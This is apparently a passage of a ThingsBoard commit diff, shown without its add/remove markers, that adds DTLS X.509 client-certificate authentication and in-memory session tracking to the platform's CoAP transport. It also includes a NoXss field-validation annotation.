* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.common.data.validation;
import javax.validation.Constraint;
import javax.validation.Payload;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
@Constraint(validatedBy = {})
public @interface NoXss {
String message() default "field value is malformed";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}

4
common/transport/coap/pom.xml

@ -44,6 +44,10 @@
<groupId>org.eclipse.californium</groupId>
<artifactId>californium-core</artifactId>
</dependency>
<dependency>
<groupId>org.eclipse.californium</groupId>
<artifactId>scandium</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>

4
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportContext.java

@ -47,6 +47,10 @@ public class CoapTransportContext extends TransportContext {
@Value("${transport.coap.timeout}")
private Long timeout;
@Getter
@Autowired(required = false)
private TbCoapDtlsSettings dtlsSettings;
@Getter
@Autowired
private JsonCoapAdaptor jsonCoapAdaptor;

230
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportResource.java

@ -27,6 +27,7 @@ import org.eclipse.californium.core.observe.ObserveRelation;
import org.eclipse.californium.core.server.resources.CoapExchange;
import org.eclipse.californium.core.server.resources.Resource;
import org.eclipse.californium.core.server.resources.ResourceObserver;
import org.springframework.util.StringUtils;
import org.thingsboard.server.common.data.DataConstants;
import org.thingsboard.server.common.data.DeviceProfile;
import org.thingsboard.server.common.data.DeviceTransportType;
@ -63,15 +64,22 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
private static final int FEATURE_TYPE_POSITION = 4;
private static final int REQUEST_ID_POSITION = 5;
private static final int FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST = 3;
private static final int REQUEST_ID_POSITION_CERTIFICATE_REQUEST = 4;
private static final String DTLS_SESSION_ID_KEY = "DTLS_SESSION_ID";
private final ConcurrentMap<String, TransportProtos.SessionInfoProto> tokenToSessionIdMap = new ConcurrentHashMap<>();
private final ConcurrentMap<String, AtomicInteger> tokenToNotificationCounterMap = new ConcurrentHashMap<>();
private final Set<UUID> rpcSubscriptions = ConcurrentHashMap.newKeySet();
private final Set<UUID> attributeSubscriptions = ConcurrentHashMap.newKeySet();
public CoapTransportResource(CoapTransportContext coapTransportContext, String name) {
private ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap;
public CoapTransportResource(CoapTransportContext coapTransportContext, ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap, String name) {
super(coapTransportContext, name);
this.setObservable(true); // enable observing
this.addObserver(new CoapResourceObserver());
this.dtlsSessionIdMap = dtlsSessionIdMap;
// this.setObservable(false); // disable observing
// this.setObserveType(CoAP.Type.CON); // configure the notification type to CONs
// this.getAttributes().setObservable(); // mark observable in the Link-Format
@ -187,107 +195,132 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
Exchange advanced = exchange.advanced();
Request request = advanced.getRequest();
String dtlsSessionIdStr = request.getSourceContext().get(DTLS_SESSION_ID_KEY);
if (!StringUtils.isEmpty(dtlsSessionIdStr)) {
if (dtlsSessionIdMap != null) {
TbCoapDtlsSessionInfo tbCoapDtlsSessionInfo = dtlsSessionIdMap
.computeIfPresent(dtlsSessionIdStr, (dtlsSessionId, dtlsSessionInfo) -> {
dtlsSessionInfo.setLastActivityTime(System.currentTimeMillis());
return dtlsSessionInfo;
});
if (tbCoapDtlsSessionInfo != null) {
processRequest(exchange, type, request, tbCoapDtlsSessionInfo.getSessionInfoProto(), tbCoapDtlsSessionInfo.getDeviceProfile());
} else {
exchange.respond(CoAP.ResponseCode.UNAUTHORIZED);
}
} else {
processAccessTokenRequest(exchange, type, request);
}
} else {
processAccessTokenRequest(exchange, type, request);
}
}
private void processAccessTokenRequest(CoapExchange exchange, SessionMsgType type, Request request) {
Optional<DeviceTokenCredentials> credentials = decodeCredentials(request);
if (credentials.isEmpty()) {
exchange.respond(CoAP.ResponseCode.BAD_REQUEST);
exchange.respond(CoAP.ResponseCode.UNAUTHORIZED);
return;
}
transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceTokenRequestMsg.newBuilder().setToken(credentials.get().getCredentialsId()).build(),
new CoapDeviceAuthCallback(transportContext, exchange, (sessionInfo, deviceProfile) -> {
UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB());
try {
TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile);
CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload());
switch (type) {
case POST_ATTRIBUTES_REQUEST:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToPostAttributes(sessionId, request,
transportConfigurationContainer.getAttributesMsgDescriptor()),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
break;
case POST_TELEMETRY_REQUEST:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToPostTelemetry(sessionId, request,
transportConfigurationContainer.getTelemetryMsgDescriptor()),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
break;
case CLAIM_REQUEST:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
break;
case SUBSCRIBE_ATTRIBUTES_REQUEST:
TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
if (currentAttrSession == null) {
attributeSubscriptions.add(sessionId);
registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
transportService.process(sessionInfo,
TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange));
}
break;
case UNSUBSCRIBE_ATTRIBUTES_REQUEST:
TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
if (attrSession != null) {
UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB());
attributeSubscriptions.remove(attrSessionId);
transportService.process(attrSession,
TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(),
new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
closeAndDeregister(sessionInfo, sessionId);
}
break;
case SUBSCRIBE_RPC_COMMANDS_REQUEST:
TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
if (currentRpcSession == null) {
rpcSubscriptions.add(sessionId);
registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
transportService.process(sessionInfo,
TransportProtos.SubscribeToRPCMsg.getDefaultInstance(),
new CoapNoOpCallback(exchange));
} else {
UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB());
reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId));
}
break;
case UNSUBSCRIBE_RPC_COMMANDS_REQUEST:
TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
if (rpcSession != null) {
UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB());
rpcSubscriptions.remove(rpcSessionId);
transportService.process(rpcSession,
TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(),
new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
closeAndDeregister(sessionInfo, sessionId);
}
break;
case TO_DEVICE_RPC_RESPONSE:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
break;
case TO_SERVER_RPC_REQUEST:
transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
transportService.process(sessionInfo,
coapTransportAdaptor.convertToServerRpcRequest(sessionId, request),
new CoapNoOpCallback(exchange));
break;
case GET_ATTRIBUTES_REQUEST:
transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
transportService.process(sessionInfo,
coapTransportAdaptor.convertToGetAttributes(sessionId, request),
new CoapNoOpCallback(exchange));
break;
}
} catch (AdaptorException e) {
log.trace("[{}] Failed to decode message: ", sessionId, e);
exchange.respond(CoAP.ResponseCode.BAD_REQUEST);
}
processRequest(exchange, type, request, sessionInfo, deviceProfile);
}));
}
private void processRequest(CoapExchange exchange, SessionMsgType type, Request request, TransportProtos.SessionInfoProto sessionInfo, DeviceProfile deviceProfile) {
UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB());
try {
TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile);
CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload());
switch (type) {
case POST_ATTRIBUTES_REQUEST:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToPostAttributes(sessionId, request,
transportConfigurationContainer.getAttributesMsgDescriptor()),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
break;
case POST_TELEMETRY_REQUEST:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToPostTelemetry(sessionId, request,
transportConfigurationContainer.getTelemetryMsgDescriptor()),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId));
break;
case CLAIM_REQUEST:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
break;
case SUBSCRIBE_ATTRIBUTES_REQUEST:
TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
if (currentAttrSession == null) {
attributeSubscriptions.add(sessionId);
registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
transportService.process(sessionInfo,
TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange));
}
break;
case UNSUBSCRIBE_ATTRIBUTES_REQUEST:
TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
if (attrSession != null) {
UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB());
attributeSubscriptions.remove(attrSessionId);
transportService.process(attrSession,
TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(),
new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
closeAndDeregister(sessionInfo, sessionId);
}
break;
case SUBSCRIBE_RPC_COMMANDS_REQUEST:
TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request));
if (currentRpcSession == null) {
rpcSubscriptions.add(sessionId);
registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request));
transportService.process(sessionInfo,
TransportProtos.SubscribeToRPCMsg.getDefaultInstance(),
new CoapNoOpCallback(exchange));
} else {
UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB());
reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId));
}
break;
case UNSUBSCRIBE_RPC_COMMANDS_REQUEST:
TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request));
if (rpcSession != null) {
UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB());
rpcSubscriptions.remove(rpcSessionId);
transportService.process(rpcSession,
TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(),
new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
closeAndDeregister(sessionInfo, sessionId);
}
break;
case TO_DEVICE_RPC_RESPONSE:
transportService.process(sessionInfo,
coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request),
new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR));
break;
case TO_SERVER_RPC_REQUEST:
transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
transportService.process(sessionInfo,
coapTransportAdaptor.convertToServerRpcRequest(sessionId, request),
new CoapNoOpCallback(exchange));
break;
case GET_ATTRIBUTES_REQUEST:
transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout());
transportService.process(sessionInfo,
coapTransportAdaptor.convertToGetAttributes(sessionId, request),
new CoapNoOpCallback(exchange));
break;
}
} catch (AdaptorException e) {
log.trace("[{}] Failed to decode message: ", sessionId, e);
exchange.respond(CoAP.ResponseCode.BAD_REQUEST);
}
}
private TransportProtos.SessionInfoProto lookupAsyncSessionInfo(String token) {
tokenToNotificationCounterMap.remove(token);
return tokenToSessionIdMap.remove(token);
@ -310,7 +343,7 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
private Optional<DeviceTokenCredentials> decodeCredentials(Request request) {
List<String> uriPath = request.getOptions().getUriPath();
if (uriPath.size() >= ACCESS_TOKEN_POSITION) {
if (uriPath.size() > ACCESS_TOKEN_POSITION) {
return Optional.of(new DeviceTokenCredentials(uriPath.get(ACCESS_TOKEN_POSITION - 1)));
} else {
return Optional.empty();
@ -322,8 +355,11 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
try {
if (uriPath.size() >= FEATURE_TYPE_POSITION) {
return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION - 1).toUpperCase()));
} else if (uriPath.size() == 3 && uriPath.contains(DataConstants.PROVISION)) {
return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase()));
} else if (uriPath.size() >= FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST) {
if (uriPath.contains(DataConstants.PROVISION)) {
return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase()));
}
return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST - 1).toUpperCase()));
}
} catch (RuntimeException e) {
log.warn("Failed to decode feature type: {}", uriPath);
@ -336,6 +372,8 @@ public class CoapTransportResource extends AbstractCoapTransportResource {
try {
if (uriPath.size() >= REQUEST_ID_POSITION) {
return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION - 1)));
} else {
return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION_CERTIFICATE_REQUEST - 1)));
}
} catch (RuntimeException e) {
log.warn("Failed to decode feature type: {}", uriPath);

64
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportService.java

@ -19,7 +19,10 @@ import lombok.extern.slf4j.Slf4j;
import org.eclipse.californium.core.CoapResource;
import org.eclipse.californium.core.CoapServer;
import org.eclipse.californium.core.network.CoapEndpoint;
import org.eclipse.californium.core.network.config.NetworkConfig;
import org.eclipse.californium.core.server.resources.Resource;
import org.eclipse.californium.scandium.DTLSConnector;
import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;
import org.springframework.stereotype.Service;
@ -30,6 +33,11 @@ import javax.annotation.PreDestroy;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.util.Random;
import java.util.concurrent.ConcurrentMap;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
@Service("CoapTransportService")
@ConditionalOnExpression("'${service.type:null}'=='tb-transport' || ('${service.type:null}'=='monolith' && '${transport.api_enabled:true}'=='true' && '${transport.coap.enabled}'=='true')")
@ -44,34 +52,53 @@ public class CoapTransportService {
@Autowired
private CoapTransportContext coapTransportContext;
private TbCoapDtlsCertificateVerifier tbDtlsCertificateVerifier;
private CoapServer server;
private ScheduledExecutorService dtlsSessionsExecutor;
@PostConstruct
public void init() throws UnknownHostException {
log.info("Starting CoAP transport...");
log.info("Starting CoAP transport server");
this.server = new CoapServer();
CoapEndpoint.Builder capEndpointBuilder = new CoapEndpoint.Builder();
if (isDtlsEnabled()) {
TbCoapDtlsSettings dtlsSettings = coapTransportContext.getDtlsSettings();
DtlsConnectorConfig dtlsConnectorConfig = dtlsSettings.dtlsConnectorConfig();
DTLSConnector connector = new DTLSConnector(dtlsConnectorConfig);
capEndpointBuilder.setConnector(connector);
if (dtlsConnectorConfig.isClientAuthenticationRequired()) {
tbDtlsCertificateVerifier = (TbCoapDtlsCertificateVerifier) dtlsConnectorConfig.getAdvancedCertificateVerifier();
dtlsSessionsExecutor = Executors.newSingleThreadScheduledExecutor();
dtlsSessionsExecutor.scheduleAtFixedRate(this::evictTimeoutSessions, new Random().nextInt((int) getDtlsSessionReportTimeout()), getDtlsSessionReportTimeout(), TimeUnit.MILLISECONDS);
}
} else {
InetAddress addr = InetAddress.getByName(coapTransportContext.getHost());
InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort());
capEndpointBuilder.setInetSocketAddress(sockAddr);
capEndpointBuilder.setNetworkConfig(NetworkConfig.getStandard());
}
CoapEndpoint coapEndpoint = capEndpointBuilder.build();
server.addEndpoint(coapEndpoint);
createResources();
Resource root = this.server.getRoot();
TbCoapServerMessageDeliverer messageDeliverer = new TbCoapServerMessageDeliverer(root);
this.server.setMessageDeliverer(messageDeliverer);
InetAddress addr = InetAddress.getByName(coapTransportContext.getHost());
InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort());
CoapEndpoint.Builder coapEndpoitBuilder = new CoapEndpoint.Builder();
coapEndpoitBuilder.setInetSocketAddress(sockAddr);
CoapEndpoint coapEndpoint = coapEndpoitBuilder.build();
server.addEndpoint(coapEndpoint);
server.start();
log.info("CoAP transport started!");
}
private void createResources() {
CoapResource api = new CoapResource(API);
api.add(new CoapTransportResource(coapTransportContext, V1));
api.add(new CoapTransportResource(coapTransportContext, getDtlsSessionsMap(), V1));
CoapResource efento = new CoapResource(EFENTO);
CoapEfentoTransportResource efentoMeasurementsTransportResource = new CoapEfentoTransportResource(coapTransportContext, MEASUREMENTS);
@ -81,8 +108,27 @@ public class CoapTransportService {
server.add(efento);
}
private boolean isDtlsEnabled() {
return coapTransportContext.getDtlsSettings() != null;
}
private ConcurrentMap<String, TbCoapDtlsSessionInfo> getDtlsSessionsMap() {
return tbDtlsCertificateVerifier != null ? tbDtlsCertificateVerifier.getTbCoapDtlsSessionIdsMap() : null;
}
private void evictTimeoutSessions() {
tbDtlsCertificateVerifier.evictTimeoutSessions();
}
private long getDtlsSessionReportTimeout() {
return tbDtlsCertificateVerifier.getDtlsSessionReportTimeout();
}
@PreDestroy
public void shutdown() {
if (dtlsSessionsExecutor != null) {
dtlsSessionsExecutor.shutdownNow();
}
log.info("Stopping CoAP transport!");
this.server.destroy();
log.info("CoAP transport stopped!");

161
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsCertificateVerifier.java

@ -0,0 +1,161 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.coap;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import org.eclipse.californium.elements.util.CertPathUtil;
import org.eclipse.californium.scandium.dtls.AlertMessage;
import org.eclipse.californium.scandium.dtls.CertificateMessage;
import org.eclipse.californium.scandium.dtls.CertificateType;
import org.eclipse.californium.scandium.dtls.CertificateVerificationResult;
import org.eclipse.californium.scandium.dtls.ConnectionId;
import org.eclipse.californium.scandium.dtls.DTLSSession;
import org.eclipse.californium.scandium.dtls.HandshakeException;
import org.eclipse.californium.scandium.dtls.HandshakeResultHandler;
import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier;
import org.eclipse.californium.scandium.util.ServerNames;
import org.springframework.util.StringUtils;
import org.thingsboard.server.common.data.DeviceProfile;
import org.thingsboard.server.common.data.DeviceTransportType;
import org.thingsboard.server.common.msg.EncryptionUtil;
import org.thingsboard.server.common.transport.TransportService;
import org.thingsboard.server.common.transport.TransportServiceCallback;
import org.thingsboard.server.common.transport.auth.SessionInfoCreator;
import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse;
import org.thingsboard.server.common.transport.util.SslUtil;
import org.thingsboard.server.gen.transport.TransportProtos;
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider;
import javax.security.auth.x500.X500Principal;
import java.security.cert.CertPath;
import java.security.cert.CertificateEncodingException;
import java.security.cert.CertificateExpiredException;
import java.security.cert.CertificateNotYetValidException;
import java.security.cert.X509Certificate;
import java.util.Collections;
import java.util.List;
import java.util.UUID;
import java.util.concurrent.ConcurrentMap;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@Slf4j
@Data
public class TbCoapDtlsCertificateVerifier implements NewAdvancedCertificateVerifier {
private final TbCoapDtlsSessionInMemoryStorage tbCoapDtlsSessionInMemoryStorage;
private TransportService transportService;
private TbServiceInfoProvider serviceInfoProvider;
private boolean skipValidityCheckForClientCert;
public TbCoapDtlsCertificateVerifier(TransportService transportService, TbServiceInfoProvider serviceInfoProvider, long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout, boolean skipValidityCheckForClientCert) {
this.transportService = transportService;
this.serviceInfoProvider = serviceInfoProvider;
this.skipValidityCheckForClientCert = skipValidityCheckForClientCert;
this.tbCoapDtlsSessionInMemoryStorage = new TbCoapDtlsSessionInMemoryStorage(dtlsSessionInactivityTimeout, dtlsSessionReportTimeout);
}
@Override
public List<CertificateType> getSupportedCertificateType() {
return Collections.singletonList(CertificateType.X_509);
}
@Override
public CertificateVerificationResult verifyCertificate(ConnectionId cid, ServerNames serverName, Boolean clientUsage, boolean truncateCertificatePath, CertificateMessage message, DTLSSession session) {
try {
String credentialsBody = null;
CertPath certpath = message.getCertificateChain();
X509Certificate[] chain = certpath.getCertificates().toArray(new X509Certificate[0]);
for (X509Certificate cert : chain) {
try {
if (!skipValidityCheckForClientCert) {
cert.checkValidity();
}
String strCert = SslUtil.getCertificateString(cert);
String sha3Hash = EncryptionUtil.getSha3Hash(strCert);
final ValidateDeviceCredentialsResponse[] deviceCredentialsResponse = new ValidateDeviceCredentialsResponse[1];
CountDownLatch latch = new CountDownLatch(1);
transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceX509CertRequestMsg.newBuilder().setHash(sha3Hash).build(),
new TransportServiceCallback<>() {
@Override
public void onSuccess(ValidateDeviceCredentialsResponse msg) {
if (!StringUtils.isEmpty(msg.getCredentials())) {
deviceCredentialsResponse[0] = msg;
}
latch.countDown();
}
@Override
public void onError(Throwable e) {
log.error(e.getMessage(), e);
latch.countDown();
}
});
latch.await(10, TimeUnit.SECONDS);
ValidateDeviceCredentialsResponse msg = deviceCredentialsResponse[0];
if (msg != null && strCert.equals(msg.getCredentials())) {
credentialsBody = msg.getCredentials();
DeviceProfile deviceProfile = msg.getDeviceProfile();
if (msg.hasDeviceInfo() && deviceProfile != null) {
TransportProtos.SessionInfoProto sessionInfoProto = SessionInfoCreator.create(msg, serviceInfoProvider.getServiceId(), UUID.randomUUID());
tbCoapDtlsSessionInMemoryStorage.put(session.getSessionIdentifier().toString(), new TbCoapDtlsSessionInfo(sessionInfoProto, deviceProfile));
}
break;
}
} catch (InterruptedException |
CertificateEncodingException |
CertificateExpiredException |
CertificateNotYetValidException e) {
log.error(e.getMessage(), e);
}
}
if (credentialsBody == null) {
AlertMessage alert = new AlertMessage(AlertMessage.AlertLevel.FATAL, AlertMessage.AlertDescription.BAD_CERTIFICATE,
session.getPeer());
throw new HandshakeException("Certificate chain could not be validated", alert);
} else {
return new CertificateVerificationResult(cid, certpath, null);
}
} catch (HandshakeException e) {
log.trace("Certificate validation failed!", e);
return new CertificateVerificationResult(cid, e, null);
}
}
@Override
public List<X500Principal> getAcceptedIssuers() {
return CertPathUtil.toSubjects(null);
}
@Override
public void setResultHandler(HandshakeResultHandler resultHandler) {
// empty implementation
}
public ConcurrentMap<String, TbCoapDtlsSessionInfo> getTbCoapDtlsSessionIdsMap() {
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionIdMap();
}
public void evictTimeoutSessions() {
tbCoapDtlsSessionInMemoryStorage.evictTimeoutSessions();
}
public long getDtlsSessionReportTimeout() {
return tbCoapDtlsSessionInMemoryStorage.getDtlsSessionReportTimeout();
}
}

55
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSessionInMemoryStorage.java

@ -0,0 +1,55 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.coap;
import lombok.Data;
import lombok.extern.slf4j.Slf4j;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
@Slf4j
@Data
public class TbCoapDtlsSessionInMemoryStorage {
private final ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap = new ConcurrentHashMap<>();
private long dtlsSessionInactivityTimeout;
private long dtlsSessionReportTimeout;
public TbCoapDtlsSessionInMemoryStorage(long dtlsSessionInactivityTimeout, long dtlsSessionReportTimeout) {
this.dtlsSessionInactivityTimeout = dtlsSessionInactivityTimeout;
this.dtlsSessionReportTimeout = dtlsSessionReportTimeout;
}
public void put(String dtlsSessionId, TbCoapDtlsSessionInfo dtlsSessionInfo) {
log.trace("DTLS session added to in-memory store: [{}] timestamp: [{}]", dtlsSessionId, dtlsSessionInfo.getLastActivityTime());
dtlsSessionIdMap.putIfAbsent(dtlsSessionId, dtlsSessionInfo);
}
public void evictTimeoutSessions() {
long expTime = System.currentTimeMillis() - dtlsSessionInactivityTimeout;
dtlsSessionIdMap.entrySet().removeIf(entry -> {
if (entry.getValue().getLastActivityTime() < expTime) {
log.trace("DTLS session was removed from in-memory store: [{}]", entry.getKey());
return true;
} else {
return false;
}
});
}
}

35
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSessionInfo.java

@ -0,0 +1,35 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.coap;
import lombok.Data;
import org.thingsboard.server.common.data.DeviceProfile;
import org.thingsboard.server.gen.transport.TransportProtos;
@Data
public class TbCoapDtlsSessionInfo {
private TransportProtos.SessionInfoProto sessionInfoProto;
private DeviceProfile deviceProfile;
private long lastActivityTime;
public TbCoapDtlsSessionInfo(TransportProtos.SessionInfoProto sessionInfoProto, DeviceProfile deviceProfile) {
this.sessionInfoProto = sessionInfoProto;
this.deviceProfile = deviceProfile;
this.lastActivityTime = System.currentTimeMillis();
}
}

162
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/TbCoapDtlsSettings.java

@ -0,0 +1,162 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
